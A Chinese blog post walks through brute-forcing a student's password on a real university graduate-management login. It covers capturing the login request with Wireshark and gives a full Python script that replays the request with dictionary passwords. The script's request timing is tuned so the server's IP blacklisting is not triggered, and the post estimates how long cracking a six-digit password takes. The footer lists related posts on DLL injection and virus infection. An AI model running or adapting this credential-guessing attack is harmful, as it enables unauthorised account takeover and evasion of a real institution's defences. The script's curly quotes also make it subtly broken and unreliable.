网络攻防研究第001篇:尝试暴力破解某高校研究生管理系统学生密码

前言

如果你是在校大学生,而且还对网络攻防比较感兴趣的话,相信你最开始尝试渗透的莫过于所在院校的学生管理系统。因为一般来说这样的系统往往比较薄弱,拿来练手那是再合适不过的了。作为本系列的第一篇文章,我将会利用暴力破解的方式,尝试对某高校的研究生管理系统的学生密码进行破解。由于这个管理系统的网站属于该高校的内网资源,外网是无法访问的,因此大家就不要尝试按照文中的内容来对文中出现的网址进行访问了。利用本文所论述的暴力破解思想,可以帮助大家更好地认识我们的网络,也有助于了解目标网站是否安全。那么在这里需要再三强调的是,文中所提内容仅作技术交流之用,请不要拿它来做坏事。

登录的基本原理

相信不管是哪个院校的管理系统,都必然会有一个登陆界面,用于输入学号以及密码。只有在二者全都正确的前提下,才能够成功地登录,否则就登录失败。本文所研究的学生管理系统也不例外,其界面如下所示:

不知道大家有没有想过,当我们将用户ID和密码填写进相应的位置,然后登录这个学生管理系统时,系统做了什么呢?尽管我并没有深入研究过目标系统的实现机制,但是一般来说,界面会将用户ID和密码这两个信息发送到服务器,然后服务器就可以在数据库中匹配二者是否存在以及二者是否为对应的关系。如果用户ID和密码有效,服务器就会发回一个用于表示验证成功的数据包,从而允许用户进入管理系统;如果匹配失败,服务器也会发送用于表示登录失败的数据包,拒绝用户的登录请求,并给出相应的提示。

可见,这个原理还是非常简单的。那么我们需要做的就是弄清楚在登陆的时候,系统究竟是发送了什么样的数据包到服务器,并且还需要知道服务器对于登录成功和失败这两种情况,分别会回复怎样的数据包。那么只要能够确定这一来一回的数据内容,我们就有可能利用暴力破解的方式解析出某个用户名所对应的密码了。

登录数据包的分析

为了获取系统所收发的数据包,那么就必然需要使用网络分析工具。这里我所使用的是 Wireshark这款工具,它是目前最为流行的网络数据包分析软件。首先来到研究生登录界面,输入用户ID以及密码,先不进行登录,开启Wireshark的监控功能,最后再单击“登录”按钮。可以发现,此时Wireshark会捕获到非常多的数据包,但是其实其中的绝大部分是与我们的登录无关的,因此这里需要利用筛选器来筛选出我们需要的数据包。比如可以在筛选条件中输入:ip.addr==172.21.96.120,这样就只会剩下与IP地址为172.21.96.120相关的数据包了,从而便于我们接下来的分析。这个IP地址其实就是我们所研究的目标系统的IP地址。或者也可以在纯净的虚拟机中进行登录,然后在宿主计算机中开启Wireshark对虚拟机进行监控,那么这样所捕获到的数据包基本上都是与登录相关的了,无需再次进行筛选。下图就是我利用虚拟机登录所捕获到的数据包:

这里我们主要留意红框中的内容,首先第一个红框中的三个数据包,表示TCP连接时的三次握手的过程,通过这个就可以确认,连接已经建立,就可以与目标主机进行下一步的操作了。而第二个红框中的内容则是一个POST请求,是由我方发出的,并需要由远端的服务器进行处理。其实也就是当点击了“登录”按钮后,发送到服务器的一个最为重要的数据包,是我们关注的重点。接下来我们来详细分析一下这个数据包的内容,在这个数据包上单击鼠标右键,选择“追踪流”->”TCP流”,那么就可以打开“追踪TCP流”对话框:

这里需要说明的是,红色字体部分是我方发往服务器端的数据包的内容,也就是一个POST请求,而蓝色字体部分是服务器的回复。查看一下红色字体部分,可以看到最后一行以明文的形式出现了登录的用户名(USER)以及密码(PASSWORD),那么很明显,这里是该管理系统的一个安全隐患。

由于这次的登录,我们的用户ID以及密码是正确的,于是就回复了上述内容,那么如果输入错误,会返回什么样的数据包呢,这里不妨抓包分析一下:

首先,二者的红色字体部分是完全一致的,但是蓝色字体部分则出现了显著的差别。对比就可以知道,如果登录成功,那么返回的数据包中会包含有Location,也就是重定向字段,说明用户ID以及密码验证成功,允许用户访问Location后面的网址,而该网址正是管理系统的真身。因此,我们在接下来的编程中,只要判定返回的数据包中是否包含有Location这个字符串,那么就可以知道登录是否成功了。

那么在登录失败的时候,返回的数据包(上图中的蓝色字体内容)表示的是什么呢?不妨看一下在登录失败的时候,浏览器中显示的网页的情况:

可以看到,这里显示的依旧是登陆界面,不同的是在界面的下方显示出登录失败的提示。如果说查看这个网页的代码,就会发现网页的代码与在Wireshark中通过抓包返回的内容是一致的。

可以总结一下,为了实现暴力破解,我们可以尝试不断地向服务器发送红色字体的POST数据包,其中USER的内容就是想要破解的学号信息,而PASSWORD的内容则是密码。如果说大家想批量学号进行破解,那么可以将想要破解的学号保存在一个文件里面。但是这里我为了简单起见,只尝试破解一个学号,因此这个学号的内容就直接填写到想要发送的数据包里面。而PASSWORD部分则需要利用密码字典,将密码保存在文件中,然后程序需要不断地按序提取密码,填写到数据包里面发送。如果收到的回复里面并不包含有Location,则继续发送数据包,直至找到密码为止,最后再将密码显示出来。那么之后的编程,就会依据这个思想进行。

程序的编写

为了简单起见,这里我使用Python来编写程序,完整的程序如下:

# -*- coding: utf-8 -*-
import socket
import time

# 待发送的数据包,注意这里的PASSWORD为空
strPost = "POST /bgdadmin/servlet/studentLogin HTTP/1.1\r\n"           "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"           "Referer: http://yjsgl.bjut.edu.cn/bgdadmin/servlet/studentMain\r\n"           "Accept-Language: zh-cn\r\n"           "Content-Type: application/x-www-form-urlencoded\r\n"           "Accept-Encoding: gzip, deflate\r\n"           "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"           "Host: yjsgl.bjut.edu.cn\r\n"           "Content-Length: 47\r\n"           "Connection: Keep-Alive\r\n"           "Cache-Control: no-cache\r\n"           "Cookie: JSESSIONID=DgxvXnRhLdSn65nfkyXv4wGXr8xQWb4Vmhkq7GfdhRz3LpdwJ4WC!-611812863\r\n\r\n"           "TYPE=AUTH&glnj=&USER=xxxxxxxxxx&PASSWORD="		  

i = 0
# 目标服务器的IP地址以及想要连接的端口
target_host = ‘172.21.96.120‘
target_port = 80
# 打开字典文件并逐行读取
for password in open(‘C:\\superdic.txt‘):
    # 如果已经验证了100个密码,则休息30秒,并将计数器清零
    i = i + 1
    if i > 100:
        time.sleep(30)
        i = 0
	# 建立一个socket对象
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接客户端
    client.connect((target_host, target_port))
    # 组成最终的数据包
    strPacket = strPost + password
	# 发送数据包
    client.send(strPacket)
    # 接收返回的数据包
    response = client.recv(1024)
    # 每验证完一条密码就休息0.3秒
    time.sleep(0.3)
	# 查找返回的数据包中是否包含有Location字段
    if response.find(‘Location‘) != -1:
        # 如果包含有Location字段,则把密码打印出来
        print password
        # 找到正确的密码就跳出循环
        break

由于Python写的程序本身就很通俗易懂,因此这里并不需要对程序作过多的解释。但是有几个问题需要说明一下:

1、如果说想要在程序中使用中文的注释,那么就必须要加入# -*- coding: utf-8 -*-,也就是上述程序中的第一行内容。

2、待发送的数据包其实就是直接在Wireshark的“追踪TCP流”对话框中直接拷贝过来的(红色字体部分)。这里需要强调的是,每一行的末尾都有一对甚至两对“\r\n”。这是因为标准的HTTP数据包中,就是以“\r\n”作为一行的结尾的。在Wireshark中的数据窗口可以很明显地看到(“\r\n”的ASCII码是0x0d和0x0a):

因此大家在实际的分析过程中,一定要看清楚每一行的末尾究竟有多少个“\r\n”。这些细节如果不重视的话,很可能就得不到想要返回的数据包了。

3、程序中有一个for循环,这个循环只有在找到正确的密码,或者验证完密码字典中的所有密码,依旧没找到正确密码的情况下,才会退出。每次执行这个for循环,都会重新建立TCP连接,然后再发送测试的数据包。这里需要注意的是,不能只建立一次TCP连接,然后不断地向目标服务器发送测试数据包。因为这样的话,从第二个测试数据包开始,服务器所返回的数据包就是未知的了。我们最开始通过Wireshark抓包测试时的流程就是先建立TCP连接,然后再发送一个测试数据包,而不是在建立连接后,不断地发送数据包。所以在程序的编写时,一定要注意究竟应该把TCP连接的建立代码放在什么位置,以避免出错。

4、程序中的用户名(USER)已经被我隐去,使用了十个x取代。而密码(PASSWORD)是六位的数字。那么为了生成密码字典,我这里使用的是superdic这款软件,它可以帮助我们很轻松地生成各种各样的密码字典。通过设置基本字符(0~9)以及密码位数(6位),就可以得到一个包含有密码的txt文件,在这个文件中,一行保存有一个密码。那么在我的测试中,我将这个密码字典放在了C盘的根目录中。程序在执行的时候,就会打开这个密码文件,逐行读取密码,组成数据包不断地发送进行测试。

程序的测试

暴力破解其实是一种最简单的测试方式,以了解目标网站是否安全。那么对于这次所研究的管理系统而言,其实还是采取了一些措施来对抗暴力破解的。为什么这么说呢?其实上述程序是在我经过多次的尝试之后才最终确定的。我在解释上述程序时,并没有讲解为什么要调用两次sleep语句,因为这与目标网站的自我保护机制相关。

其实最开始我是没有加入sleep语句的,那么在程序运行后,在不断地发包进行暴力破解的时候,我发现过不了多久,程序就会提示出错,意思是在建立连接的时候出现了问题:

这个时候如果利用Wireshark进行抓包,就会得到以下内容:

这些数据包是以黑色作为底色显示的,说明它们是不正常的数据包。可以看到,前六个数据包不断地尝试利用本机的7527到7532号端口来与目标主机建立TCP的SYN连接,也就是TCP连接的第一次握手。但是本机迟迟没有收到由目标计算机发回来的确认数据包,于是接下来的12个数据包其实就是针对于前六个数据包的重传(TCP Retransmission),每个数据包都会重传两次,最终依旧没有收到回复,才会放弃连接。那么其实这也就解释了为什么Python程序会返回连接不成功的错误,远程服务器迟迟不予回复,那么自然后面的测试数据包也就不会发送了。说明这是远程服务器采取的一种自我保护的措施,一旦发现有人尝试利用暴力破解,那么在接收一定数量的数据包之后,就会拒绝对攻击者进行回复了。我认为服务器应该是将攻击者的IP地址加入了黑名单。经过实际测试可以知道,IP地址会被封锁1个小时。

那么接下来就需要弄清楚究竟在一定的时间内,发送多少个数据包才是安全的,或者数据包与数据包之间的安全时间间隔是多少。关于这个问题,大家可以根据自己的实际情况,抓包分析,看看究竟是在经过了多少个数据包之后,远程服务器才会拒绝请求。那么针对于我当前所研究的网站而言,通过不断的测试,我这里将数据包与数据包之间的发送间隔设定为0.3秒(程序的第二个sleep语句),并且每发送100个数据包,则休息30秒(程序的第一个sleep语句),在这种情况下,进行大量的测试数据包的发送,就不会出现封锁IP的情况了。

最后不妨计算一下,在最坏的情况下,破解一个用户的密码需要多长时间。首先,六位纯数字的密码,一共会有1000000种组合的可能性。由于每发送100个数据包就需要休息30秒,那么一共就需要休息30*(1000000/100)也就是300000秒。从发送第一个连接数据包到收到验证成功或者失败的回复,由于受限于网络的情况,因此并不固定,这里不妨假设是0.1秒,而数据包与数据包之间的间隔是0.3秒,也就是说每个数据包还需要0.3+0.1也就是0.4秒的时间,0.4*1000000则是400000秒,这样就可以知道,为了破解一个用户的密码,需要700000秒,也就大概是8.1天。那么也就说明了,该研究生管理系统在应对暴力破解方面,其实还是采取了比较好的策略的。

总结

通过暴力破解的测试,我们可以了解到目标网站的安全机制究竟怎样。尽管很多时候,暴力破解是没有办法的办法,有时也是比较常用的方法。如何应对暴力破解,究竟应当采取怎样的规则策略,也是见仁见智。可以看到,在密码只有6位纯数字的情况下,最坏情况还需要8.1天才能够成功实现破解,这也就说明了,如果采取数字与字母组合,加大密码位数,对于安全的重要性是不言而喻的。当然了,毕竟暴力破解是一种比较低端的做法,未来我还会讨论更多的方式实现网络的渗透与破解。毕竟网络安全知识是一把双刃剑,安全人员也是必须要掌握黑客可能会使用的技术,从而针对这些技术实施安全防御的。

时间: 2024-10-17 16:37:34

网络攻防研究第001篇:尝试暴力破解某高校研究生管理系统学生密码的相关文章

反病毒攻防研究第012篇:利用Inline HOOK实现主动防御

一.前言 之前文章中所讨论的恶意程序的应对方法,都是十分被动的,即只有当恶意程序被执行后,才考虑补救措施.这样,我们就会一直处于后手状态,而如果说病毒的危害性极大,那么即便我们完美地修复了诸如注册表项,服务项等敏感位置,并且删除了病毒本身,但是它依旧可能已经破坏了系统中非常重要的文件,造成了不可逆的损伤.因此这篇文章就来简单讨论一下利用Inline HOOK技术实现主动防御,在病毒执行前,就主动将危险函数劫持,如同一道防火墙,保护我们计算机的安全. 二.Inline HOOK原理 我们平时所使用

反病毒攻防研究第015篇:病毒感染标志的添加

一.前言 对于感染型病毒而言,如果对同一个目标文件多次进行感染,有可能导致目标文件损坏,使得无法执行.所以病毒程序往往会在第一次感染时对目标文件写进一个感染标志,这样在第二次遇到该文件时,首先判断一下该文件中是否包含有感染标志,如果有,则不再感染,如果没有感染标志则进行感染(关于文件的感染,可参见<反病毒攻防研究第004篇:利用缝隙实现代码的植入>和<反病毒攻防研究第005篇:添加节区实现代码的植入>).所谓的感染标志其实就是在PE文件中无关紧要的位置写入的一个字符串,所以感染标志

反病毒攻防研究第009篇:DLL注入(上)——DLL文件的编写

一.前言 我之前所编写的用于模拟计算机病毒的对话框程序都是exe文件,所以运行时必将会产生一个进程,产生进程就非常容易被发现.而为了不被发现,可以选择将对话框程序创建为DLL文件.这种文件会加载到已有进程的地址空间中,这样就不会再次创建出进程,隐蔽性相对较好,DLL注入也是恶意程序总会使用的手段.这次我带算用几篇文章的篇幅来论述DLL注入的问题,而这篇文章就首先来讨论一下如何把我之前的对话框程序改写为DLL文件. 二.编写对话框DLL程序 这里我依旧使用VC++6.0,创建一个简单的Win32

Leetcode拾萃(算法篇)——暴力破解(DFS、BFS、permutation)

引言 现在互联网的招工流程,算法题是必不可少的,对于像我这种没搞过ACM的吃瓜群众,好在有leetcode,拯救我于水火.于是乎,断断续续,刷了一些题,其中一些题还是值得细细品味的,现把一些问题整理一下,有些解法是我自己写的,也有些解法是参考了discuss中的答案,当做是秋招的一个小小总结.由于水平有限,代码写得并不好,选的题目也只能用于入门,希望大家见谅. 暴力破解 暴力破解,据我个人理解,就是遍历整棵搜索树,没有删繁就简,紧是单单的搜索和匹配. 1.基本暴力破解:对于最基本的暴力破解,就是

反病毒攻防研究第011篇:DLL注入(下)——无DLL的注入

一.前言 一般来说,想要将自己编写的程序注入到其它进程中,是必须要使用DLL文件的,这种方法已经在上一篇文章中讨论过了.但是事实上,可以不依赖于DLL文件来实现注入的.只不过这种方法不具有通用性,没有DLL注入那样灵活,因为它需要把代码写入"注入程序"中,一旦想要注入的内容发生了变化,就需要重写整个"注入程序".而不像DLL注入那样,只要修改DLL程序即可.即便如此,无DLL进行注入的方式,也是一种值得讨论的方法. 二.无DLL注入的基本原理 在注入与卸载方面,无论

反病毒攻防研究第007篇:简单木马分析与防范part1

一.前言 病毒与木马技术发展到今天,由于二者总是相辅相成,你中有我,我中有你,所以它们之间的界限往往已经不再那么明显,相互之间往往都会采用对方的一些技术以达到自己的目的,所以现在很多时候也就将二者直接统称为"恶意代码".这次我打算用两篇文章的篇幅来讨论病毒与简单的木马相互结合的分析与防范方法.本篇也就是第一篇,讨论的是利用只有服务器端的木马程序实现"病毒"的启动.而在下一篇中,我会讨论既有服务器端又有客户端的木马程序与"病毒"相结合的分析与防范.

反病毒攻防研究第004篇:利用缝隙实现代码的植入

一.前言 现在很多网站都提供各式各样软件的下载,这就为黑客提供了植入病毒木马的良机.黑客可以将自己的恶意程序植入到正常的程序中,之后发布到网站上,这样当用户下载并运行了植入病毒的程序后,计算机就会中毒,而且病毒可能会接着感染计算机中的其他程序,甚至通过网络或者U盘,使得传播面积不断扩大.而本篇文章就来剖析病毒感染的实现原理,首先需要搜索正常程序中的缝隙用于"病毒"(用对话框模拟)的植入,之后感染目标程序以实现"病毒"的启动.当然,讨论完这些,我依旧会分析如何应对这种

反病毒攻防研究第010篇:DLL注入(中)——DLL注入与卸载器的编写

一.前言 我在上一篇文章中所讨论的DLL利用方法,对于DLL文件本身来说是十分被动的,它需要等待程序的调用才可以发挥作用.而这次我打算主动出击,编写DLL注入与卸载器,这样就可以主动地对进程进行注入的操作了,从而更好地模拟现实中恶意代码的行为. 二.DLL注入的原理 如果想让DLL文件强制注入某个进程,那么就需要通过创建远程线程来实现.这里需要注意的是,所谓的"远程线程",并不是跨计算机的,而是跨进程的.举例来说,进程A在进程B中创建一个线程,这就叫做远程线程.从根本上说,DLL注入技

反病毒攻防研究第005篇:添加节区实现代码的植入

一.前言 上一篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题,就是我们想要植入的代码的长度不能够比缝隙大,否则需要把自身的代码截成几个部分,再分别插入不同的缝隙中.而这次所讨论的方法是增加一个节区,这个节区完全可以达到私人订制的效果,其大小完全由我们自己来决定,这样的话,即便是代码较长,也不用担心.而这种方式最大的缺陷就是不利于恶意代码自身的隐藏,因此在现实中可能并不常用.其实,我在这里讨论节区的添加,是为了以后更加深入的讨论打下基础,因为在加壳以及免杀技术中,经常会对PE文件添加节区.这